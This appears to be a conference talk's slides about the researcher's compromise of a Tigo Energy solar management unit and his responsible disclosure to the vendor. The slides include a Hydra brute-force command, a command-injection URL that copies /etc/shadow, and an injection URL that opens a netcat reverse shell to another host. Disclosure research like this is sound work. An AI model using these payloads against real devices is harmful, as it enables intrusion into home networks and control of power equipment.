Unexpected IoT – Solar Panels compromise

Fred Bret-Mounet
@fbret
Who am I?

Disclaimer:

- This presentation is based on information I gathered through my research. It is full of omissions and inaccuracies due to my own lack of knowledge and incompetency.
- This research has performed on my (extensive) spare time. My employer has nothing to do with this content.

- WarGames (1983) – the first movie about a hacker?
Who am I?

“A hacker is one who enjoys the intellectual challenge of creatively overcoming limitations of software systems to achieve novel and clever outcomes.”

Gehring, Verna (2004). *The Internet In Public Life.*
This is the topic of today!
Tigo Energy ® Maximizer™ Management Unit

- (Remotely) Manages individual Solar Panels through Bluetooth.
- In emergency conditions, can (remotely) disable the array by shutting down individual solar panels.
- Reports performance back to the Cloud.
Tigo Energy ® Maximizer™ Management Unit

- (Remotely) Manages individual Solar Panels through Bluetooth.
- In emergency conditions, can (remotely) disable the array by shutting down individual solar panels.
- Reports performance back to the Cloud.
- Can be used for performance SLAs...
Tigo Energy ® Maximizer™ Management Unit

- (Remotely) Manages individual Solar Panels through Bluetooth.
- In emergency conditions, can (remotely) disable the array by shutting down individual solar panels.
- Reports performance back to the Cloud.
- Can be used for performance SLAs...

Liquidated Damages Payable to the Owner by the Contractor for Breach of Guarantee: If, upon annual calculation of the Performance Ratio, the system fails to meet the guaranteed performance (does not meet the Required Annual Production amount during the given 12 month period), the Contractor will compensate the Owner for the lost kWh production at a rate of $0.15 / kWh multiplied by the difference between Actual Production and Required Annual
I SCORED TODAY!!
Where it started...
Attack Surfaces - Logical

- Open Access Point
- httpd
- Dns
- Ssh
- Serial to tcp
- Dhcp
- Unknown UDP 5002
Attack Surfaces - Physical

- uBoot
- Console
- Rs-489
- USB host
- Emergency Button
Open Access Point
Open Access Point

Thanks https://wigle.net/!

Located 160+ out of ~1000 with 24/7 open AP.

10000+ with limited window of opportunity for open AP.
Httpd... All’s lost!

Authentication Required

http://[redacted] requires a username and password.
Your connection to this site is not private.

User Name: 

Password: 

Cancel  Log In
Httpd... All’s lost! Not Really!

- Hydra to the rescue:
- `hydra -l admin -P rockyou.txt -v http://192.168.1.10:80/`
Httpd... All’s lost! Not Really!

36 hours later:

Admin/Support
That page caught my attention!

And another one (that I had to play with a little):

http://192.168.1.2/cgi-bin/network?host=TIGO2; cp%20%2Fetc%2Fshadow%20%2Fmnt%2Fffs%2Fvar%2Flmudcd.foreign_lmus
That page caught my attention!

And another one (that I had to play with a little):

http://192.168.1.2/cgi-bin/network?host=TIGO2; cp /etc/shadow /mnt/ffs/var/Imudcd.foreign_lmuses
httpd

kick off john the ripper & hashcat... but i gave up!

why spend energy bruteforcing when i have a shell?!
NetCat to the rescue (provided courtesy of the vendor 😊)

http://192.168.1.129/cgi-bin/network?host=TlGO2;nc -e /bin/sh 192.168.1.135 9999

Ps –all:

- 17406 root 0:00 httpd -h /mnt/ffs/www -c /mnt/ffs/etc/httpd.conf -r TigoEnergy Management Unit

Now just add a new user to the system after some mount kung fu...
### Management Unit

#### Login History

```
<table>
<thead>
<tr>
<th>User</th>
<th>Path</th>
</tr>
</thead>
<tbody>
<tr>
<td>root:0:0</td>
<td>/root/root/bin/sh</td>
</tr>
<tr>
<td>daemon:x:1</td>
<td>/daemon/usr/sbin/bin/sh</td>
</tr>
<tr>
<td></td>
<td>/bin/sh</td>
</tr>
<tr>
<td>bin:x:2:2</td>
<td>/bin/bin/sh</td>
</tr>
<tr>
<td>sys:x:3:3</td>
<td>/sys/dev/bin/sh</td>
</tr>
<tr>
<td>sync:x:4:100</td>
<td>/sync/bin/bin/sync</td>
</tr>
<tr>
<td>mail:x:8:8</td>
<td>/mail/spool/mail/bin/sh</td>
</tr>
<tr>
<td>proxy:x:13:13</td>
<td>/proxy/bin/bin/sh</td>
</tr>
<tr>
<td>www-data:x:33:33</td>
<td>/www-data/var/www/bin/sh</td>
</tr>
<tr>
<td>backup:x:34:34</td>
<td>/backup/var/backups/bin/sh</td>
</tr>
<tr>
<td>operator:x:37:37</td>
<td>/operator/var/bin/sh</td>
</tr>
<tr>
<td>hakdaemon:x:68:68</td>
<td>/hakdaemon/bin/sh</td>
</tr>
<tr>
<td>dbus:x:81:81</td>
<td>/dbus/var/run/dbus/bin/sh</td>
</tr>
<tr>
<td>ftp:x:83:83</td>
<td>/home/ftp/bin/sh</td>
</tr>
<tr>
<td>nobody:x:59:99:59:99</td>
<td>/nobody/home/bin/sh</td>
</tr>
<tr>
<td>sshd:x:103:99:103:99</td>
<td>/sshd/var/bin/sh</td>
</tr>
<tr>
<td>default:x:1000:1000</td>
<td>/home/default/bin/sh</td>
</tr>
<tr>
<td>fred:x:0:0</td>
<td>/root/home/fred/bin/sh</td>
</tr>
</tbody>
</table>
```

Fri Dec 11 00:14:49 2015
What’s next?

- Look around!
- Something caught my attention in the running processes:
  3260 root 0:02 openvpn --config supporttcp.conf --syslog

- Yes, the device on my network has a permanent VPN tunnel back to the Vendor.
  - Not mentioned in any Terms of Use or documentation...
Information Security concerns

Fred Bret-Mounet <freedomfred@gmail.com>  
10/26/15

Hi,
I'm a Security Researcher (as well as a customer) and have a few concerns with the Management Unit.
Who should I talk to at Tigo about those concerns. For example, the Management Unit seems to have no way of disabling the open setup AP once configured.

Thanks
-Fred
[PAGE LEFT BLANK INTENTIONALLY]
Jia Liu (Tigo Energy Support)
Dec 15, 10:32 AM

Hi Fred,

Can you please advise the following:
1. Are you the owner of the system?
2. Did you signed off contract name in our sales system.

Thanks,

Jia

OMG!
Jia Liu (Tigo Energy Support)
Dec 15, 1:06 PM

Hi Fred,

First of all I apologize for the late reply from Tigo team.

The reason why I asked was because system owner shall have the access to the system.

If your contract with the installer is PPA (Power Purchase Agreement), then installer is the system owner and you are not. So installer will have the access to monitor the system. For this case, I strongly recommend you to contact your installer to ask for access authority.

If you contract with the installer is Cash, which means you fully paid the equipment on your roof and you are the system owner, then I can assign the system access to you from my end.

Info of system installed on your roof is always kept as confidential since it was installed.

Please feel free to reach out with additional questions. I'm also happy to get on the phone with you if there is still anything not clear.

Cheers,

Jia

Global Tech Support Manager
Fred Bret-Mounet <freedomfred@gmail.com>  

to support

Jia, it is clear that we are not understanding each other! That is exactly why my request has been to talk to someone responsible for the security of your MMU.
I am not asking for access or changes to my access as I currently have all the access to the monitoring I need.

I am informing Tigo of some serious security concerns that affect 100% of your customers and I need to talk to someone responsible for the security of the MMU to:
1) transfer my knowledge so that Tigo can triage the issues.
2) explain to me your customer what can be done & how quickly to stop exposing my home network to hackers through the vulnerabilities in your MMU.

If you share the attached picture with the Tigo security team, they will know exactly what I am talking about: me being able to see etc/passwd or having a root account on the MMU is definitely a bad thing!

Please confirm that you are forwarding this ticket to Tigo's security team asap.

Thanks
Vendor Response

- Remember the VPN tunnel?
- Within the hour,
  - Open AP shut down
  - User removed
  - httpd shut down
- But... I was not done helping 😔
Vendor Response

- I have a developer build part of about ~1000 that were accidentally shipped.
- No Way! I bought an off the shelf solution trusting I was getting what I paid for.
- Does this change anything?
  - Not really.
  - No VPN backdoor.
  - Open AP window of opportunity dramatically narrowed.
What the Vendor did Well

- Once I had the communication channels open, they welcomed my research.
- uBoot custom build with password protection.
- Apparently unique OpenVPN key.
- Log shipping.
- Shipping a replacement device to all affected customer.
Why is this meaningful?

- No need to blow up a power plant. I could have shut down a large amount of solar generation.
- Remote control of a network device on your home network.
  - Spying
  - Botnet MIRAI
  - Anonymizer
  - ...
- In today’s world of IoT, security is every manufacturer’s problem.
Takeaways

- My biggest lessons:
  - The dozen or so IoT devices I use are now on a segmented & firewalled network.
  - Do not reach out to the vendor too soon!
  - Responsible disclosure is hard... but it’s the only way to go.
Takeways - I mean it!

- Isolate IoTs as there is no “NHTSA's 5-Star Safety Ratings” for IoTs.
- Create a Consumer Reports / Car crash rating / UL certification framework?
- Create a product / service that can be cheaply wrapped around / embedded into IoTs by manufacturers?
- Go pen testing now:
  - It’s fun & easy!
  - Don’t break the law!
  - Practice responsible disclosure
  - Don’t reach out to the vendor too soon!
  - There is so much work to be done..